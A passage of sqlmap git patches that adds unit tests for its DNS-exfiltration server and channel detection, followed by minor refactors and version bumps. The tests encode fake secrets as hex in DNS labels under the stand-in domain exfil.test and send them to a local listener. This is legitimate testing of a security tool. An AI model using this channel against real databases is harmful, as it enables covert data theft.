MAX_DNS_LABEL // 4 - 2 + self.assertGreater(chunk_length, 0, "%s: non-positive chunk_length" % dbms) + self.assertLessEqual(2 * chunk_length, MAX_DNS_LABEL, + "%s: hex label (%d) exceeds MAX_DNS_LABEL (%d)" % (dbms, 2 * chunk_length, MAX_DNS_LABEL)) + + +class TestDnsChannelDetection(_DnsCase): + """dnsTest(): probes the channel with a known random integer and disables DNS exfil if + the value doesn't come back (unless --force-dns, which then aborts).""" + DBMS_NAME = "MySQL" + KNOWN = 4815162342 + + def _patch_known_int(self): + dnstestmod.randomInt = lambda *a, **k: self.KNOWN + + def test_detection_success_keeps_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=True) + dnstestmod.dnsTest("%s AND %d=%d") + self.assertTrue(kb.dnsTest) + self.assertEqual(conf.dnsDomain, "exfil.test") # channel kept + + def test_detection_failure_disables_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=False) # dead channel + dnstestmod.dnsTest("%s AND %d=%d") + self.assertFalse(kb.dnsTest) + self.assertIsNone(conf.dnsDomain) # exfil turned off + + def test_detection_failure_with_force_dns_raises(self): + self._patch_known_int() + conf.forceDns = True + self._install_oracle(str(self.KNOWN), working=False) + self.assertRaises(SqlmapNotVulnerableException, dnstestmod.dnsTest, "%s AND %d=%d") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py new file mode 100644 index 000000000..9e566e3d7 --- /dev/null +++ b/tests/test_dns_server.py @@ -0,0 +1,291 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS server used for DNS-exfiltration (lib/request/dns.py): raw packet parsing +(DNSQuery), fake A-record response crafting, the pop(prefix, suffix) accounting, and +- importantly - resilience: a single malformed packet or a transient send error must +NOT kill the server thread (which would silently lose all further exfiltration). +""" + +import collections +import os +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) + +from lib.core.settings import MAX_DNS_REQUESTS +from lib.request.dns import DNSQuery, DNSServer + + +def build_query(name, tid=b"\x12\x34", qtype=1): + """Minimal standard (opcode 0) DNS query packet for L{name} (qtype 1=A, 28=AAAA, ...)""" + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + struct.pack(">H", qtype) + b"\x00\x01" + + +class _HighPortDNSServer(DNSServer): + """Real DNSServer logic, bound on a high port (no root, no :53 probe)""" + def __init__(self, port, sock=None, maxlen=MAX_DNS_REQUESTS): + self._requests = collections.deque(maxlen=maxlen) + self._lock = threading.Lock() + if sock is None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("127.0.0.1", port)) + self._socket = sock + self._running = False + self._initialized = False + + +class _SendFailOnceSocket(object): + """Wraps a real UDP socket; first sendto() raises (simulated transient failure)""" + def __init__(self, real): + self._real = real + self._sends = 0 + + def recvfrom(self, *a, **k): + return self._real.recvfrom(*a, **k) + + def sendto(self, *a, **k): + self._sends += 1 + if self._sends == 1: + raise RuntimeError("simulated transient sendto failure") + return self._real.sendto(*a, **k) + + def __getattr__(self, name): + return getattr(self._real, name) + + +class TestDNSQuery(unittest.TestCase): + def test_parses_data_bearing_name(self): + q = DNSQuery(build_query("pre.deadbeef.suf.exfil.test")) + self.assertEqual(q._query, b"pre.deadbeef.suf.exfil.test.") + + def test_empty_and_short_packets_do_not_raise(self): + for raw in (b"", b"\x00", b"\x12", b"\x12\x34", b"\x12\x34\x01\x20"): + self.assertEqual(DNSQuery(raw)._query, b"") # no exception, empty query + + def test_unterminated_name_does_not_raise(self): + # a length byte that runs past the buffer, with no null terminator + pkt = b"\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + b"\x20" + b"abc" + DNSQuery(pkt) # must not raise (slicing past end yields b"", ord guards) + + def test_response_is_valid_A_record(self): + q = DNSQuery(build_query("x.y.z", tid=b"\xab\xcd")) + resp = q.response("127.0.0.1") + self.assertEqual(resp[:2], b"\xab\xcd") # transaction id echoed + self.assertEqual(resp[2:4], b"\x85\x80") # standard response, no error + ip = ".".join(str(b if isinstance(b, int) else ord(b)) for b in resp[-4:]) + self.assertEqual(ip, "127.0.0.1") + + def test_empty_query_yields_empty_response(self): + self.assertEqual(DNSQuery(b"\x00").response("127.0.0.1"), b"") + + +class TestDNSServerRoundTrip(unittest.TestCase): + PORT = 5471 + + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv.run() + while not cls.srv._initialized: + time.sleep(0.02) + + def _send(self, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(build_query(name), ("127.0.0.1", self.PORT)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + for _ in range(100): + with self.srv._lock: + if any(name.encode() in r for r in self.srv._requests): + return True + time.sleep(0.01) + return False + + def test_roundtrip_and_pop(self): + self.assertTrue(self._send("aaa.cafe.bbb.exfil.test")) + self.assertIsNone(self.srv.pop("zzz", "yyy")) # wrong boundaries + self.assertIsNotNone(self.srv.pop("aaa", "bbb")) # correct boundaries + self.assertIsNone(self.srv.pop("aaa", "bbb")) # consumed only once + + def test_non_a_query_type_still_recorded(self): + # a DBMS resolver may emit AAAA (28) / TXT (16) lookups - the exfiltrated name is in the + # labels regardless of qtype, and the server records before crafting the (A) response + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.PORT)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + for _ in range(200): + if self.srv.pop("ggg", "hhh"): + return + time.sleep(0.01) + self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") + + +class TestDNSServerMemoryBound(unittest.TestCase): + """The server records every received query (it listens on :53); only matching ones are + popped. Unrelated/stray traffic and resolver retries must not grow memory without bound.""" + PORT = 5475 + + def test_requests_are_bounded_and_recent_kept(self): + srv = _HighPortDNSServer(self.PORT, maxlen=50) + srv.run() + while not srv._initialized: + time.sleep(0.02) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for i in range(200): # flood well past the bound + c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", self.PORT)) + c.close() + # a legit exfil query right after the flood must still be capturable + c2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); c2.settimeout(2) + c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", self.PORT)) + try: + c2.recvfrom(512) + except socket.timeout: + pass + finally: + c2.close() + popped = None + for _ in range(200): + popped = srv.pop("ppp", "qqq") + if popped: + break + time.sleep(0.01) + with srv._lock: + n = len(srv._requests) + self.assertLessEqual(n, 50, "request buffer exceeded its bound (%d)" % n) + self.assertIsNotNone(popped, "a fresh exfil query was lost after a flood of stray traffic") + + +class TestDNSServerResilience(unittest.TestCase): + def _make(self, port, sock=None): + srv = _HighPortDNSServer(port, sock=sock) + srv.run() + while not srv._initialized: + time.sleep(0.02) + return srv + + def _query(self, port, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(1) + c.sendto(build_query(name), ("127.0.0.1", port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + + def _recorded(self, srv, token, tries=120): + for _ in range(tries): + with srv._lock: + if any(token.encode() in r for r in srv._requests): + return True + time.sleep(0.01) + return False + + def test_survives_transient_send_error(self): + port = 5472 + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind(("127.0.0.1", port)) + srv = self._make(port, sock=_SendFailOnceSocket(s)) + self._query(port, "aaa.11.bbb.exfil.test") # first sendto raises + self._query(port, "ccc.22.ddd.exfil.test") # must still be served + self.assertTrue(self._recorded(srv, "ccc.22.ddd"), + "DNS server died after one failing sendto (lost subsequent exfil)") + self.assertTrue(srv._running) + + def test_survives_malformed_packets(self): + port = 5473 + srv = self._make(port) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for junk in (b"", b"\x00", b"\xff" * 7, b"\x12\x34\x01\x00\x00\x01" + b"\x20abc"): + c.sendto(junk, ("127.0.0.1", port)) + c.close() + self._query(port, "ok.33.fine.exfil.test") + self.assertTrue(self._recorded(srv, "ok.33.fine"), + "DNS server died on a malformed packet") + + +class TestDNSServerConcurrency(unittest.TestCase): + """Under --threads, many workers fire DNS queries and call pop() while the server thread + appends - all guarded by one lock. Each worker must get back exactly its own data.""" + PORT = 5474 + + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer(cls.PORT) + cls.srv.run() + while not cls.srv._initialized: + time.sleep(0.02) + + def test_concurrent_send_and_pop_no_crosstalk(self): + import binascii, re + N = 12 + errors = [] + + def worker(i): + # distinct boundary labels per worker (DNS boundary alphabet = letters, no a-f/digits) + prefix = "gg" + chr(ord("g") + i) + suffix = "mm" + chr(ord("g") + i) + secret = ("worker-%02d-secret" % i).encode() + host = "%s.%s.%s.exfil.test" % (prefix, binascii.hexlify(secret).decode(), suffix) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + try: + c.sendto(build_query(host), ("127.0.0.1", self.PORT)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + got = None + for _ in range(200): + got = self.srv.pop(prefix, suffix) + if got: + break + time.sleep(0.01) + if not got: + errors.append("worker %d: never popped its query" % i); return + m = re.search(r"%s\.(?P.+?)\.%s" % (prefix, suffix), got, re.I) + if not m or binascii.unhexlify(m.group("r")) != secret: + errors.append("worker %d: cross-talk/corruption got=%r" % (i, got)) + + threads = [threading.Thread(target=worker, args=(i,)) for i in range(N)] + for t in threads: + t.start() + for t in threads: + t.join() + self.assertEqual(errors, [], "concurrency failures: %s" % errors) + # every queued request consumed exactly once -> nothing left behind + self.assertEqual(self.srv.pop("gg" + chr(ord("g")), "mm" + chr(ord("g"))), None) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From a3b857ebae49002ea20cbcfa806df77613ebd20e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 22:55:45 +0200 Subject: [PATCH 042/165] Minor update --- data/txt/sha256sums.txt | 8 ++++---- lib/core/common.py | 12 ++++++++---- lib/core/datatype.py | 2 +- lib/core/settings.py | 2 +- lib/request/comparison.py | 6 +++--- 5 files changed, 17 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6701d079c..355b96701 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,11 +168,11 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py -e55201cbaa05aac7091cccda361963a74635172bdd9d403feeadf400e09a14cf lib/core/common.py +dba8ebb5cfc6a085c6d91aff0135cfbe8716a40cc20cb1c7cfcd50b5a90e64f5 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py +6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -de4f4a95b30c703518a68d96a904bcf908033be8a0d9a03000a2da163f139303 lib/core/settings.py +b1c78a1fbae173f740e783f76cf1fd666cbf5f481c0478e8c1572baf4d885dc4 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py +d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py 05198477dbdeb6c405059eb21cbbcf9cb6804cc54a0f2a1d11741bfc6cbb7ca2 lib/request/dns.py diff --git a/lib/core/common.py b/lib/core/common.py index 981ab3f66..cd11f5a4c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2532,19 +2532,23 @@ def readCachedFileContent(filename, mode='r'): True """ - if filename not in kb.cache.content: + content = kb.cache.content.get(filename) + + if content is None: with kb.locks.cache: - if filename not in kb.cache.content: + content = kb.cache.content.get(filename) + if content is None: checkFile(filename) try: with openFile(filename, mode) as f: - kb.cache.content[filename] = f.read() + content = f.read() + kb.cache.content[filename] = content except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) - return kb.cache.content[filename] + return content def average(values): """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 15160ae4d..e7ed7430b 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -151,7 +151,7 @@ class LRUDict(object): def get(self, key, default=None): try: return self.__getitem__(key) - except: + except (KeyError, TypeError): return default def __setitem__(self, key, value): diff --git a/lib/core/settings.py b/lib/core/settings.py index 2ef55ebfa..85ba9324e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.136" +VERSION = "1.10.6.137" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 1338e6a21..1206e6814 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -213,9 +213,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seqMatcher.set_seq1(repr(seq1)) seqMatcher.set_seq2(repr(seq2)) - if key in kb.cache.comparison: - ratio = kb.cache.comparison[key] - else: + ratio = kb.cache.comparison.get(key) if key else None + + if ratio is None: try: try: ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() From 03b44ed2f196b371a43fc57f1da6ff5405f4986c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:03:42 +0200 Subject: [PATCH 043/165] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/threads.py | 14 +++++--------- 3 files changed, 8 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 355b96701..b0b87b228 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,12 +189,12 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b1c78a1fbae173f740e783f76cf1fd666cbf5f481c0478e8c1572baf4d885dc4 lib/core/settings.py +4ea19be3a4d0846babbb6ba273d0f590d34e9e97a094184f3507c02882a5e389 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py d213562601682fd72603a22f35e5af4e3f41e23bfb143e1584a4fa212a232635 lib/core/testing.py -e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py +95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 85ba9324e..8b1d9fd23 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.137" +VERSION = "1.10.6.138" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 8d2528ce2..96d646859 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -27,7 +27,6 @@ from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS -from lib.core.settings import PYVERSION shared = AttribDict() @@ -93,7 +92,7 @@ def getCurrentThreadName(): Returns current's thread name """ - return threading.current_thread().getName() + return threading.current_thread().name def exceptionHandledFunction(threadFunction, silent=False): try: @@ -107,17 +106,14 @@ def exceptionHandledFunction(threadFunction, silent=False): if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) - logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, errMsg)) if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation - if PYVERSION >= "2.6": - thread.daemon = True - else: - thread.setDaemon(True) + thread.daemon = True def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] @@ -233,7 +229,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio except (SqlmapConnectionException, SqlmapValueException) as ex: print() kb.threadException = True - logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, ex)) if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() @@ -249,7 +245,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadException = True errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + logger.error("thread %s: %s" % (threading.current_thread().name, errMsg)) traceback.print_exc() finally: From 9d8c1021f367cd01df3ef398c24d999dc481b821 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:14:28 +0200 Subject: [PATCH 044/165] Fixes CI/CD tests --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_strings.py | 24 ++++++++++++++++++------ 3 files changed, 21 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b0b87b228..729c51040 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4ea19be3a4d0846babbb6ba273d0f590d34e9e97a094184f3507c02882a5e389 lib/core/settings.py +82767887306a66ba4b1b2c254068225196f3adb434bfac2929a123c51fdd45f8 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -607,7 +607,7 @@ a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_pro cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py -41907c873663401f979b87eaff3efc8d52e0ce96cbe1eef7aa70c6d3af8cd5cf tests/test_strings.py +8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tamper.py b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8b1d9fd23..070ad183e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.138" +VERSION = "1.10.6.139" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_strings.py b/tests/test_strings.py index 5aada824e..e3683ea01 100644 --- a/tests/test_strings.py +++ b/tests/test_strings.py @@ -90,12 +90,24 @@ class TestMiscStrings(unittest.TestCase): self.assertEqual(longestCommonPrefix("abc", "xyz"), "") def test_decodeIntToUnicode(self): - # single-byte code points map to their char - self.assertEqual(decodeIntToUnicode(65), u"A") - self.assertEqual(decodeIntToUnicode(97), u"a") - # NOTE: >255 ints are interpreted as a multi-byte sequence (not a Unicode code point), - # e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' (documents actual behavior, not an assumption) - self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + from lib.core.common import Backend + from lib.core.data import kb + + # decodeIntToUnicode() is back-end DBMS dependent (e.g. PostgreSQL/Oracle/SQLite + # treat >255 values as Unicode code points). Pin a clean, no-forced-DBMS state so + # the result is deterministic regardless of test execution order (a prior dialect + # test may otherwise leave a forced DBMS set); restore it afterwards. + _saved = (kb.get("forcedDbms"), kb.get("stickyDBMS")) + Backend.flushForcedDbms(force=True) + try: + # single-byte code points map to their char + self.assertEqual(decodeIntToUnicode(65), u"A") + self.assertEqual(decodeIntToUnicode(97), u"a") + # NOTE: with no identified DBMS, >255 ints are interpreted as a multi-byte + # sequence (not a Unicode code point), e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' + self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + finally: + kb.forcedDbms, kb.stickyDBMS = _saved if __name__ == "__main__": From 46fc5acbfc1a0f2a759c9f398c829c096e056a20 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:30:52 +0200 Subject: [PATCH 045/165] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/replication.py | 18 +++++++++++++++--- lib/core/settings.py | 2 +- tests/test_replication.py | 34 ++++++++++++++++++++++++++++++++++ 4 files changed, 53 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 729c51040..bd298b52a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -186,10 +186,10 @@ c1a9edb894033f1cef0a15a05cca196f816df3465444134af171870dedbe1538 lib/core/optio ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py -48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py +9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -82767887306a66ba4b1b2c254068225196f3adb434bfac2929a123c51fdd45f8 lib/core/settings.py +3f62e7d98fb47950f6c9ff99386cb9ae346f7d64e2b0ed2c85cf9d394a2c6c69 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -602,7 +602,7 @@ cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pag 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py -5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py +2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py diff --git a/lib/core/replication.py b/lib/core/replication.py index 2474e72b5..a2cd5e9a3 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -23,8 +23,11 @@ class Replication(object): """ def __init__(self, dbpath): + self.dbpath = dbpath + self.connection = None + self.cursor = None + try: - self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = 